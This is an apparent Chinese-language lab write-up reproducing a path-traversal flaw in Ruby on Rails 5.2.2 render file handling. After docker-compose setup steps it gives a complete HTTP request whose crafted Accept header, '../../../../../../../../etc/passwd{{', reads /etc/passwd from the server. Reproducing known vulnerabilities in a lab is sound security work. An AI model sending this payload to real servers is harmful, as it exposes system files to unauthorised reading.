标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2655] 作者: future 发表于: [2020-04-30]
本文共 [882] 位读者顶过
在控制器中通过render file形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{头来构成构造路径穿越漏洞,读取任意文件。 [出自:jiwo.org] 参考链接: 环境搭建执行如下命令编译及启动Rail On Rails 5.2.2: docker-compose build docker-compose up -d 环境启动后,访问http://your-ip:3000即可看到Ruby on Rails的欢迎页面。 漏洞复现访问http://your-ip:3000/robots可见,正常的robots.txt文件被读取出来。 利用漏洞,发送如下数据包,读取/etc/passwd: GET /robots HTTP/1.1 Host: your-ip:3000 Accept-Encoding: gzip, deflate Accept: ../../../../../../../../etc/passwd{{ Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close 成功读取:(vulhub官方复现是不需要cookie的,我这里复现没有cookie发送不过去,直接抓首页的包更改GET请求与Accept: ../../../../../../../../etc/passwd{{即可)
|